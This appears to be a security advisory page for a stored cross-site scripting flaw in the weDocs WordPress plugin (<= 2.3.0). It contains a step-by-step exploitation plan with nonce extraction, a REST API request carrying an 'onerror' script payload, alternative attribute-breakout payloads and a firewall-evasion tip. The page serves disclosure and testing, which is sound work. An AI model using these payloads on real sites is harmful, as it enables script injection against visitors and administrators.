weDocs: AI Powered Knowledge Base, Docs, Documentation, Wiki & AI Chatbot <= 2.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'sectionTitleTag' and 'articleTitleTag' Block Attributes
Description
The weDocs: AI Powered Knowledge Base, Docs, Documentation, Wiki & AI Chatbot plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'sectionTitleTag' and 'articleTitleTag' Block Attributes in all versions up to, and including, 2.3.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.3.1
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-12731**, a Stored Cross-Site Scripting (XSS) vulnerability in the **weDocs** plugin. ### 1. Vulnerability Summary The **weDocs** plugin (<= 2.3.0) is vulnerable to Stored XSS because it fails to sanitize or escape the `sectionTitleTag` and `article…
Show full research plan
This exploitation research plan targets CVE-2026-12731, a Stored Cross-Site Scripting (XSS) vulnerability in the weDocs plugin.
1. Vulnerability Summary
The weDocs plugin (<= 2.3.0) is vulnerable to Stored XSS because it fails to sanitize or escape the sectionTitleTag and articleTitleTag block attributes before rendering them in the HTML output. An attacker with Contributor level permissions or higher can modify these attributes in the Gutenberg block editor to inject malicious HTML and JavaScript. When a user (including administrators) views the affected page, the script executes in their browser context.
2. Attack Vector Analysis
- Endpoint: WordPress REST API (Gutenberg Editor)
- Vulnerable Block:
wedocs/sidebar(inferred from file structureassets/build/blocks/Sidebar/) - Vulnerable Attributes:
sectionTitleTag,articleTitleTag - Required Role: Contributor, Author, Editor, or Administrator.
- Preconditions: The
docscustom post type (inferred) must be editable by the attacker.
3. Code Flow
- Input: A user with editing permissions creates/updates a Doc. They provide a payload for the
sectionTitleTagorarticleTitleTagattributes within the Gutenberg block JSON. - Storage: The payload is stored in the
wp_poststable within thepost_contentfield (e.g.,<!-- wp:wedocs/sidebar {"sectionTitleTag":"..."} /-->). - Execution (Sink):
- When the Doc is viewed on the frontend, WordPress invokes the block's render callback.
- File:
assets/build/blocks/Sidebar/render.php - Function:
render_wedocs_sidebar( $attributes, $content ) - The attributes are extracted (Lines 149-150):
$section_title_tag = $attributes['sectionTitleTag'] ?? 'h3'; $article_title_tag = $attributes['articleTitleTag'] ?? 'h4'; - The variables are subsequently used to construct HTML tags (e.g.,
<$section_title_tag ...>) without being passed throughtag_escape()or a whitelist check.
4. Nonce Acquisition Strategy
To update a post via the REST API, the agent must provide a valid REST nonce in the X-WP-Nonce header.
- Login: Log in as a Contributor.
- Navigate: Navigate to the "New Doc" or "Edit Doc" page (e.g.,
/wp-admin/post-new.php?post_type=docs). - Extraction: Since this is a Gutenberg-driven environment, the REST nonce is stored in the
window.wpApiSettingsobject. - Command:
browser_eval("window.wpApiSettings.nonce")
5. Exploitation Strategy
The goal is to inject an img tag with an onerror handler into the HTML tag name position.
Step 1: Create a Doc
- Tool:
http_request - Method:
POST - URL:
/wp-json/wp/v2/docs(Verify post type name first) - Headers:
X-WP-Nonce: [NONCE],Content-Type: application/json - Body:
{ "title": "Security Research", "status": "publish", "content": "<!-- wp:wedocs/sidebar {\"sectionTitleTag\":\"img src=x onerror=alert(document.domain) \",\"articleTitleTag\":\"h4\"} /-->" }
Step 2: Trigger Execution
- Navigate to the permalink of the newly created Doc (returned in the
linkfield of the Step 1 response). - The rendered HTML will contain:
<img src=x onerror=alert(document.domain) class="wedocs-section-title">...
6. Test Data Setup
- Plugin Setup: Install and activate the
wedocsplugin (version 2.3.0). - User Setup:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Environment Check: Ensure the
docspost type is registered and supports the REST API (standard for modern weDocs).
7. Expected Results
- The REST API should return a
201 Createdor200 OKresponse confirming the post content was saved. - Upon navigating to the frontend Doc page, a JavaScript alert box showing the document domain should appear.
- The HTML source of the sidebar should show the broken/injected tag.
8. Verification Steps
- Check Content: Verify the payload is stored correctly in the database.
wp post list --post_type=docs --format=csv wp post get [POST_ID] --field=post_content - Check Response: Use
http_requestto GET the frontend page and verify the presence of theonerrorpayload.# Look for the payload in the raw HTML grep "onerror=alert"
9. Alternative Approaches
- Attribute Breakout: If the tag name itself is sanitized but attributes are not, try injecting into the
classNameattribute:"className": "injected\" onmouseover=\"alert(1)\"". - Article Tag: Repeat the same strategy using the
articleTitleTagattribute ifsectionTitleTagis blocked by a firewall/WAF. - Shortcode (Legacy): Check if the plugin supports a legacy shortcode that uses these same attributes, as shortcodes often share rendering logic with blocks. Look for
add_shortcodein the main plugin file.
Summary
The weDocs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sectionTitleTag' and 'articleTitleTag' block attributes. Authenticated attackers with Contributor-level permissions or higher can inject arbitrary JavaScript into these attributes through the Gutenberg editor, which executes when any user visits the page containing the malicious block.
Vulnerable Code
// assets/build/blocks/Sidebar/render.php lines 154-155 $section_title_tag = $attributes['sectionTitleTag'] ?? 'h3'; $article_title_tag = $attributes['articleTitleTag'] ?? 'h4'; --- // assets/build/blocks/Sidebar/render.php lines 141-143 $connector_width = intval( str_replace( 'px', '', $tree_styles['indentation'] ?? '20' ) ) / 2; $connector_color = wedocs_get_color_value( $tree_styles['connectorColor'] ?? '', '#e5e7eb' ); return '<div class="wedocs-connector-line" style="position: absolute; left: -' . $connector_width . 'px; top: 0; bottom: 0; width: ' . ( $tree_styles['connectorWidth'] ?? '1px' ) . '; background-color: ' . esc_attr( $connector_color ) . ';"></div>'; --- // assets/build/blocks/Sidebar/render.php line 446 $section_style .= 'margin-bottom: ' . ( $tree_styles['itemSpacing'] ?? '4px' ) . ';';
Security Fix
Exploit Outline
To exploit this vulnerability, an attacker with at least Contributor-level access follows these steps: 1. Obtain a valid REST API nonce (e.g., by logging into the WordPress admin and extracting `window.wpApiSettings.nonce` from a post editing page). 2. Send a POST request to the WordPress REST API endpoint for the 'docs' custom post type (`/wp-json/wp/v2/docs`). 3. Include a block JSON payload for the `wedocs/sidebar` block in the `content` field. 4. The payload should set the `sectionTitleTag` or `articleTitleTag` attribute to a value that breaks out of the expected tag name and includes an event handler, such as: `"sectionTitleTag":"img src=x onerror=alert(document.domain) "`. 5. Once the post is saved, any user who views the published doc page will trigger the JavaScript execution as the plugin renders the malicious attribute directly as an HTML tag name without escaping or whitelisting.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.